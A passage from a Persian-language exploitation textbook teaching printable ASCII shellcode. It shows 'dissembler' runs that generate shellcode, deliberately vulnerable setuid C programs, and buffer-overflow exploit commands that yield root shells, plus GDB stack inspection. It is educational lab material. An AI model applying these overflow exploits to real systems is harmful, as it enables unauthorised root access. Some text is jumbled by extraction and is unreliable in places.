‫‪ NOP‬ﻧﯿﺴﺖ‪ .‬اوﻟﯿﻦ ﻗﺴﻤﺖ از ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺟﻬﺖ ﺳﺎﺧﺘﻦ ﺷﻞ‪-‬ﮐﺪ واﻗﻌﯽ دﻗﯿﻘﺎ ﺑﻌﺪ از ﮐﺪ ﺑﺎرﮔﺬار ﻃﺮاﺣـﯽ ﺷـﺪه‬
‫اﺳﺖ‪ .‬ﻫﻤﭽﻨﯿﻦ ﺑﻪ ﭼﮕﻮﻧﮕﯽ اﺳﺘﻔﺎده از ﻋﻼﻣﺎت ﻧﻘﻞ ﻗﻮل ﺟﻬﺖ دوری از ﺑﺮﯾﺪن و ﮐﭙﯽ ﮐـﺮدن ﻫـﺎی ﻃﺎﻗـﺖ ﻓﺮﺳـﺎ ﺗﻮﺟـﻪ‬
‫ﮐﻨﯿﺪ‪.‬‬

‫‪99‬‬
‫ ﺑﺎﯾـﺖ ﺑـﻮد و‬461 ‫ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ ﻗﺒﻠـﯽ‬-‫ ﭼﻮن اﻧﺪازه ﺷﻞ‬.‫ﻣﺘﺎﺳﻔﺎﻧﻪ اﻧﺪازه ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻣﮑﺎن آﻧﺮا ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ‬
‫ ﺳـﻌﯽ در‬.‫ ﺑﻨﺎﺑﺮاﯾﻦ آدرس ﻫﺪف ﻧﺎﺻﺤﯿﺢ ﺧﻮاﻫـﺪ ﺑـﻮد‬،‫ ﺑﺎﯾﺖ اﺳﺖ‬145 ‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﻬﯿﻨﻪ ﺷﺪه ﺗﻨﻬﺎ‬-‫اﻧﺪازه اﯾﻦ ﺷﻞ‬
‫ ﻟـﺬا ﯾـﮏ ﺳـﻮﺋﯿﭻ در ﺑﺮﻧﺎﻣـﻪ‬،‫ﯾﺎﻓﺘﻦ ﯾـﮏ ﻫـﺪف ﻣﺘﺤـﺮک )دارای ﻗﺎﺑﻠﯿـﺖ ﺟﺎﺑﺠـﺎﯾﯽ( ﮐـﺎری ﺑـﺲ ﺧـﺴﺘﻪ ﮐﻨﻨـﺪه اﺳـﺖ‬
.‫ ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر ﺗﻌﺒﯿﻪ ﺷﺪه اﺳﺖ‬dissembler
$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[t] Target address: 0xbffffa44
[s] Size changes target: ON (adjust size: 461 bytes)
[+] Ending address: 0xbffffb16
[*] Dissembling bytecode from 'tinyshell'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffffb80..

[+] dissembled bytecode is 145 bytes long.


--
$ env | grep SHELLCODE
SHELLCODE=%M4NZ%0B0%-llll-1AAz-3VRYP\-%0bb-6vvv-%JZfP-06wn--LtxP-AAAn-Lvvv-
XHFcP-
ll%l-eu%8-5x6DP-gggg-i00i-ihW0P-yFFF-v5ll-s2oMP-BBsB-56X7-%-T%P-i%u%-8KvKP
$ ./vuln2 'perl -e 'print "\x80\xfb\xff\xbf"x8;''
sh-2.05b# whoami
root
sh-2.05b#
‫ ﺑـﺮای‬.‫ﮐﺪ ﻗﺎﺑـﻞ ﭼـﺎپ ﺗﻄﺒﯿـﻖ ﯾﺎﻓﺘـﻪ اﺳـﺖ‬-‫اﯾﻦ ﺑﺎر آدرس ﻫﺪف ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر ﺑﺮ اﺳﺎس اﻧﺪازه در ﺣﺎل ﺗﻐﯿﺮِ ﺷﻞ‬
.(‫ آدرس ﺟﺪﯾﺪ ﻫﺪف ﻧﯿﺰ ﻧﻤﺎﯾﺶ ﻣﯽ ﯾﺎﺑﺪ )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ‬،‫ﺗﺴﻬﯿﻞ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ‬
‫ اﯾﻦ ﻣﺠﻤﻮﻋـﻪ‬.‫( اﺳﺖ‬customizable character set) ‫راه ﺣﻞ ﻣﻔﯿﺪ دﯾﮕﺮ اﺳﺘﻔﺎده از ﯾﮏ ﻣﺠﻤﻮﻋﻪ ﮐﺎراﮐﺘﺮ ﺳﻔﺎرﺷﯽ‬
‫ﮐـﺪ ﻗﺎﺑـﻞ‬-‫ ﻣﺜﺎل زﯾـﺮ ﺷـﻞ‬.‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﻗﺎدر ﻣﯽ ﺳﺎزد ﺗﺎ ﻣﺤﺪودﯾﺖ ﻫﺎی ﮐﺎراﮐﺘﺮی ﻣﺨﺘﻠﻒ را ﭘﺸﺖ ﺳﺮ ﺑﮕﺬارد‬-‫ﺷﻞ‬
.‫ ﺗﻮﻟﯿﺪ ﺷﺪه اﺳﺖ‬% ‫ و‬- ،7 ،z ،w ،t ،c ،P ‫ﭼﺎﭘﯽ را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺗﻨﻬﺎ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی‬
$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 -c Pctwz72-%
tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[t] Target address: 0xbffffa44
[s] Size changes target: ON (adjust size: 461 bytes)
[c] Using charset: Pctwz72-% (9)
[+] Ending address: 0xbffffb16
[*] Dissembling bytecode from 'tinyshell'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffffb4e..

[+] dissembled bytecode is 195 bytes long.


--
$ env | grep SHELLCODE
SHELLCODE=%P---%%PPP-t%2%-tt-t-t7Pt-t2P2P\-w2%w-2c%2-c-t2-t-tcP-t----tzc2-
%w-7-Pc-
PP-w-PP-z-c--z-%P-zw%zP-z7w2--wcc--tt--272%P-7P%7-z2ww-c----%P%%P-w%z%-t%-
w-wczcP-
zz%t-7PPP-tc2c-wwwwP-wwcw-Pc-P-w2-2-cc-wP
$ ./vuln2 'perl -e 'print "\x4e\xfb\xff\xbf"x8;''
sh-2.05b# whoami
root
sh-2.05b#

100
‫اﮔﺮﭼﻪ ﺑﻌﯿﺪ اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ای ﺑﺎ ﭼﻨﯿﻦ ﺗﺎﺑﻊ اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی ﺳﺮﺳﺨﺘﺎﻧﻪ ای در ﻋﻤﻞ ﭘﯿﺪا ﺷﻮد‪ ،‬اﻣـﺎ ﺗﻮاﺑـﻊ ﻣﻌﻤـﻮﻟﯽ‬
‫وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺮای اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی ﺑﻪ ﮐﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬در زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﻧﻤﻮﻧﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ‬
‫ﮐﻨﯿﺪ ﮐﻪ ﺑﻪ دﻟﯿﻞ وﺟﻮد ﯾﮏ ﺣﻠﻘﻪ اﻋﺘﺒﺎرﺳﻨﺠﯽ در ﺗﺎﺑﻊ )(‪ isprint‬ﺑﺎﯾﺪ آﻧﺮا ﺑﺎ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮد‪.‬‬
‫‪only_print.c code‬‬
‫)‪void func(char *data‬‬
‫{‬
‫;]‪char buffer[5‬‬
‫;)‪strcpy(buffer, data‬‬
‫}‬

‫)][‪int main(int argc, char *argv[], char *envp‬‬


‫{‬
‫;‪int i‬‬

‫‪// clearing out the stack memory‬‬


‫‪// clearing all arguments except the first and second‬‬
‫;))]‪memset(argv[0], 0, strlen(argv[0‬‬
‫)‪for(i=3; argv[i] != 0; i++‬‬
‫;))]‪memset(argv[i], 0, strlen(argv[i‬‬
‫‪// clearing all environment variables‬‬
‫)‪for(i=0; envp[i] != 0; i++‬‬
‫;))]‪memset(envp[i], 0, strlen(envp[i‬‬

‫‪// If the first argument is too long, exit‬‬


‫)‪if(strlen(argv[1]) > 40‬‬
‫{‬
‫;)"‪printf("first arg is too long.\n‬‬
‫;)‪exit(1‬‬
‫}‬

‫)‪if(argc > 2‬‬


‫{‬
‫;)]‪printf("arg2 is at %p\n", argv[2‬‬
‫)‪for(i=0; i < strlen(argv[2])-1; i++‬‬
‫{‬
‫)))]‪if(!(isprint(argv[2][i‬‬
‫{‬
‫‪// If there are any nonprintable characters in the‬‬
‫‪// second argument, exit‬‬
‫;)"‪printf("only printable characters are allowed!\n‬‬
‫;)‪exit(1‬‬
‫}‬
‫}‬
‫}‬
‫;)]‪func(argv[1‬‬
‫;‪return 0‬‬
‫}‬
‫در اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ ﺗﻤﺎﻣﺎ ﺻﻔﺮ ﺷﺪه اﻧﺪ‪ ،‬ﻟﺬا ﻧﻤﯽ ﺗﻮاﻧﺪ ﺷـﻞ‪-‬ﮐـﺪ را در آﻧﺠـﺎ ﭘﻨﻬـﺎن ﮐـﺮد‪ .‬ﻫﻤﭽﻨـﯿﻦ ﺗﻤـﺎم‬
‫آرﮔﻮﻣﺎن ﻧﯿﺰ ﺻﻔﺮ ﺷﺪه اﻧﺪ‪ ،‬ﺑﻪ ﻏﯿﺮ از دو ﻋﺪد‪ .‬اوﻟﯿﻦ آرﮔﻮﻣﺎن ﻫﻤﺎن آرﮔﻮﻣﺎن ﻗﺎﺑﻞ ﺳﺮرﯾﺰ اﺳـﺖ ﮐـﻪ ﺑـﻪ اﯾـﻦ ﺻـﻮرت‬
‫آرﮔﻮﻣﺎن دوم ﻣﯽ ﺗﻮاﻧﺪ ﻣﮑﺎﻧﯽ ﺑﺮای ذﺧﯿﺮه ﺷﻞ‪-‬ﮐﺪ ﺑﺎﺷﺪ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل ﻗﺒﻞ از رﺧﺪاد ﺳـﺮرﯾﺰ‪ ،‬ﺣﻠﻘـﻪ ای وﺟـﻮد دارد ﮐـﻪ‬
‫ﮐﺎراﮐﺘﺮﻫﺎ ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ را در دوﻣﯿﻦ آرﮔﻮﻣﺎن ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫در ﺑﺮﻧﺎﻣﻪ ﻓﻀﺎﯾﯽ ﺑﺮای ذﺧﯿﺮه ﺷﻞ‪-‬ﮐﺪ ﻣﻌﻤﻮﻟﯽ وﺟﻮد ﻧﺪارد‪ ،‬ﻟﺬا ﻓﺮآﯾﻨـﺪ اﮐـﺴﭙﻠﻮﯾﺖ اﻧـﺪﮐﯽ ﺳـﺨﺖ ﺗـﺮ )وﻟـﯽ ﻧـﻪ ﻏﯿـﺮ‬
‫ﻣﻤﮑﻦ( ﻣﯽ ﺷﻮد‪ .‬ﺷﻞ‪-‬ﮐﺪِ ﺑﺰرﮔﺘﺮِ ‪ 46‬ﺑﺎﯾﺘﯽ در ﺧﺮوﺟﯽ زﯾﺮ اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ ﺗﺎ ﺷﺮاﯾﻂ ﺧﺎﺻـﯽ را ﮐـﻪ در آن آدرس‬
‫ﻫﺪف‪ ،‬اﻧﺪازه واﻗﻌﯽِ ﺷﻞ‪-‬ﮐﺪِ دﯾﺰاﺳﻤﺒﻞ ﺷﺪه را ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ ﺗﻮﺻﯿﻒ ﮐﻨﺪ‪.‬‬
‫‪$ gcc -o only_print only_print.c‬‬
‫‪$ sudo chown root.root only_print‬‬
‫‪$ sudo chmod u+s only_print‬‬
‫'‪$ ./only_print nothing_here_yet 'dissembler -N shellcode‬‬
‫‪dissembler 0.9 - polymorphs bytecode to a printable ASCII string‬‬
‫‪101‬‬
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[*] Dissembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[+] dissembled bytecode is 189 bytes long.
--
arg2 is at 0xbffff9c4
$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[t] Target address: 0xbffff9c4
[+] Ending address: 0xbffffadc
[*] Dissembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[&] Optimizing with ninja magic...

[+] dissembled bytecode is 194 bytes long.


--
arg2 is at 0xbffff9bf
‫( ﻋﻤـﻞ‬placeholder) ‫ اوﻟﯿﻦ آرﮔﻮﻣﺎن ﺗﻨﻬﺎ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺟﺎﻧﮕﻬﺪار‬،‫ﺗﺎ ﻫﻨﮕﺎم ﺗﻌﯿﯿﻦ ﺷﺪن ﻣﺸﺨﺼﺎت دوﻣﯿﻦ آرﮔﻮﻣﺎن‬
:‫ اﻣﺎ ﯾﮏ اﺧـﺘﻼف اﻧـﺪازه ﺑـﯿﻦ دو ﻧـﺴﺨﻪ وﺟـﻮد دارد‬،‫ آدرس ﻫﺪف ﺑﺎﯾﺪ ﺑﺎ ﻣﮑﺎن دوﻣﯿﻦ آرﮔﻮﻣﺎن ﻣﻄﺎﺑﻖ ﺑﺎﺷﺪ‬.‫ﻣﯽ ﮐﻨﺪ‬
.‫– ﺑﺮای اﯾﻦ ﻣﻮاﻗﻊ ﺗﻌﺒﯿﻪ ﺷﺪه اﺳﺖ‬s ‫ ﺧﻮﺷﺒﺨﺘﺎﻧﻪ ﺳﻮﺋﯿﭻ‬.‫ ﺑﺎﯾﺖ‬194 ‫ ﺑﺎﯾﺖ ﺑﻮد و دوﻣﯿﻦ ﻧﺴﺨﻪ‬189 ‫اوﻟﯿﻦ ﻧﺴﺨﻪ‬
$ ./only_print nothing_here_yet 'dissembler -N -t 0xbffff9c4 -s 189
shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[t] Target address: 0xbffff9c4
[s] Size changes target: ON (adjust size: 189 bytes)
[+] Ending address: 0xbffffadc
[*] Dissembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffff9c4..
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffff9bf..

[+] dissembled bytecode is 194 bytes long.


--
arg2 is at 0xbffff9bf
$ ./only_print 'perl -e 'print "\xbf\xf9\xff\xbf"x8;'' 'dissembler -N -t
0xbffff9c4
-s 189 shellcode'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0

[N] Ninja Magic Optimization: ON


[t] Target address: 0xbffff9c4
[s] Size changes target: ON (adjust size: 189 bytes)
[+] Ending address: 0xbffffadc
[*] Dissembling bytecode from 'shellcode'...
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffff9c4..
[&] Optimizing with ninja magic...
[&] Adjusting target address to 0xbffff9bf..

[+] dissembled bytecode is 194 bytes long.

102
--
arg2 is at 0xbffff9bf
sh-2.05b# whoami
root
sh-2.05b#
.‫ﮐﺪ از اﻋﺘﺒﺎرﺳﻨﺞ ورودی ﺑﺮای ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼـﺎپ را ﻓـﺮاﻫﻢ ﮐـﺮد‬-‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ اﻣﮑﺎن ﻋﺒﻮر ﺷﻞ‬-‫اﺳﺘﻔﺎده از ﺷﻞ‬
‫ در زﯾﺮ اﯾﻦ ﻣﺜﺎل را ﻣـﺸﺎﻫﺪه‬.‫ﻣﺜﺎل ﻗﺎﺑﻞ ﺗﻮﺟﻪ دﯾﮕﺮ زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻘﺮﯾﺒﺎ ﺗﻤﺎم ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ را ﭘﺎک ﻣﯽ ﮐﻨﺪ‬
.‫ﻣﯽ ﻧﻤﺎﯾﯿﺪ‬
cleared_stack.c code
void func(char *data)
{
char buffer[5];
strcpy(buffer, data);
}

int main(int argc, char *argv[], char *envp[])


{
int i;

// clearing out the stack memory


// clearing all arguments except the first
memset(argv[0], 0, strlen(argv[0]));
for(i=2; argv[i] != 0; i++)
memset(argv[i], 0, strlen(argv[i]));
// clearing all environment variables
for(i=0; envp[i] != 0; i++)
memset(envp[i], 0, strlen(envp[i]));

// If the first argument is too long, exit


if(strlen(argv[1]) > 40)
{
printf("first arg is too long.\n");
exit(1);
}

func(argv[1]);
return 0;
}
‫ ﭼـﻮن‬.‫ﺑﺮﻧﺎﻣﻪ ﺗﻤﺎم آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ را ﺑﻪ ﻏﯿﺮ اوﻟﯿﻦ آرﮔﻮﻣﺎن و ﻫﻤﭽﻨﯿﻦ ﺗﻤﺎم ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄـﯽ را ﭘـﺎک ﻣـﯽ ﻧﻤﺎﯾـﺪ‬
‫ ﻟـﺬا ﻋﻤـﻼ ﻓـﻀﺎﯾﯽ ﺑـﺮای‬،‫ ﺑﺎﯾﺖ ﻃـﻮل دارد‬40 ‫اوﻟﯿﻦ آرﮔﻮﻣﺎن ﻣﮑﺎﻧﯽ اﺳﺖ ﮐﻪ ﺳﺮرﯾﺰ رخ ﻣﯽ دﻫﺪ و اﯾﻦ آرﮔﻮﻣﺎن ﺗﻨﻬﺎ‬
!‫ ﺷﺎﯾﺪ ﻫﻢ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‬.‫ﮐﺪ وﺟﻮد ﻧﺪارد‬-‫ﻗﺮارﮔﯿﺮی ﺷﻞ‬
‫ ﺑﺮای دﯾﺒﺎگ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ و ﺑﺮرﺳﯽ ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ ﺗﺼﻮﯾﺮ واﺿﺢ ﺗﺮی را از وﺿـﻌﯿﺖ ﻣﻮﺟـﻮد ﻣـﻨﻌﮑﺲ‬GDB ‫اﺳﺘﻔﺎده از‬
.‫ﺧﻮاﻫﺪ ﮐﺮد‬
$ gcc -g -o cleared_stack cleared_stack.c
$ sudo chown root.root cleared_stack
$ sudo chmod u+s cleared_stack
$ gdb -q ./cleared_stack
(gdb) list
4 strcpy(buffer, data);
5 }
6
7 int main(int argc, char *argv[], char *envp[])
8 {
9 int i; 10
11 // clearing out the stack memory
12 // clearing all arguments except the first
13 memset(argv[0], 0, strlen(argv[0]));
(gdb)
14 for(i=2; argv[i] != 0; i++)
15 memset(argv[i], 0, strlen(argv[i]));

103
16 // clearing all environment variables
17 for(i=0; envp[i] != 0; i++)
18 memset(envp[i], 0, strlen(envp[i]));
19
20 // If the first argument is too long, exit
21 if(strlen(argv[1]) > 40)
22 {
23 printf("first arg is too long.\n");
(gdb) break 21
Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21.
(gdb) run test
Starting program: /hacking/cleared_stack test

Breakpoint 1, main (argc=2, argv=0xbffff904, envp=0xbffff910)


at cleared_stack.c:21
21 if(strlen(argv[1]) > 40)
(gdb) x/128x 0xbffffc00
0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffce0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffda0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffde0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
0xbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffea0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffeb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffec0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffed0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffee0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffef0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff00: 0x00000000 0x00000000 0x00000000 0x00000000
104
‫‪0xbfffff10:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff20:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff30:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff40:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff50:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff60:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff70:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff80:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffff90:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffffa0:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffffb0:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffffc0:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffffd0:‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬ ‫‪0x00000000‬‬
‫‪0xbfffffe0:‬‬ ‫‪0x00000000‬‬ ‫‪0x61682f00‬‬ ‫‪0x6e696b63‬‬ ‫‪0x6c632f67‬‬
‫‪0xbffffff0:‬‬ ‫‪0x65726165‬‬ ‫‪0x74735f64‬‬ ‫‪0x006b6361‬‬ ‫‪0x00000000‬‬
‫)‪(gdb‬‬
‫‪0xc0000000:‬‬ ‫‪Cannot access memory at address 0xc0000000‬‬
‫‪(gdb) x/s 0xbfffffe5‬‬
‫‪0xbfffffe5:‬‬ ‫"‪"/hacking/cleared_stack‬‬
‫)‪(gdb‬‬
‫ﭘﺲ از ﮐﺎﻣﭙﺎﯾﻞ ﮐﺮدن ﮐﺪ ﻣﻨﺒﻊ‪ ،‬ﮐﺪ ﺑﺎﯾﻨﺮی را ﺑﺎ ‪ GDB‬ﺑﺎز ﮐﺮده و ﯾﮏ ﻧﻘﻄﻪ ﺗﻮﻗﻒ را در ﺧﻂ ‪ ،21‬درﺳﺖ ﺑﻌﺪ از ﻣﮑﺎﻧﯽ‬
‫ﮐﻪ ﺣﺎﻓﻈﻪ ﭘﺎک ﻣﯿﺸﻮد ﻗﺮار ﻣﯽ دﻫﯿﻢ‪ .‬ﺑﺮرﺳﯽ ﺣﺎﻓﻈﻪ در ﻧﺰدﯾﮑﯽ اﻧﺘﻬﺎی ﭘﺸﺘﻪ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﭘﺸﺘﻪ واﻗﻌـﺎ ﭘـﺎک ﻣـﯽ‬
‫ﺷﻮد‪ .‬اﻣﺎ ﻋﻨﺼﺮی دﻗﯿﻘﺎ در ﻧﺰدﯾﮑﯽ ﭘﺸﺘﻪ ﺟﺎ ﻣﺎﻧﺪه اﺳﺖ‪ .‬ﺑﺎ ﻧﻤﺎﯾﺶ اﯾﻦ ﻗﺴﻤﺖ از ﺣﺎﻓﻈﻪ ﺑﻪ ﻋﻨﻮان ﯾﮏ رﺷﺘﻪ‪ ،‬ﻣﻌﻠﻮم ﻣﯽ‬
‫ﮔﺮدد ﮐﻪ آن ﻋﻨﺼﺮ‪ ،‬ﻧﺎم ﺑﺮﻧﺎﻣﻪ در ﺣﺎل اﺟﺮا اﺳﺖ‪.‬‬
‫اﮔﺮ ﻧﺎم ﺑﺮﻧﺎﻣﻪ را ﺑﻪ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻨﻈﯿﻢ ﮐﻨﯿﻢ‪ ،‬ﻣﯽ ﺗﻮاﻧﯿﻢ روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﺑﻪ ﻧﺎم ﺧﻮدش ﻫـﺪاﯾﺖ ﮐﻨـﯿﻢ‪ .‬ﻣـﯽ‬
‫ﺗﻮاﻧﯿﻢ از اﺗﺼﺎﻻت ﻧﺸﺎﻧﻪ ای )‪ (symbolic‬ﺟﻬﺖ ﺗﻐﯿﯿﺮ ﻧﺎم ﻣﻮﺛﺮِ ﺑﺮﻧﺎﻣـﻪ‪ ،‬ﺑـﺪون ﺗﺤـﺖ ﺗـﺎﺛﯿﺮ ﻗـﺮار دادن ﺑـﺎﯾﻨﺮی اﺻـﻠﯽ‬
‫اﺳﺘﻔﺎده ﮐﻨﯿﻢ‪ .‬ﻣﺜﺎل زﯾﺮ اﯾﻦ ﻓﺮآﯾﻨﺪ را روﺷﻦ ﺗﺮ ﻣﯽ ﺳﺎزد‪.‬‬
‫‪$ ./dissembler -e -b 34 tinyshell‬‬
‫‪dissembler 0.9 - polymorphs bytecode to a printable ASCII string‬‬
‫‪- Jose Ronnick <[email protected]> Phiral Research Labs -‬‬
‫‪438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0‬‬

‫‪[e] Escape the backslash: ON‬‬


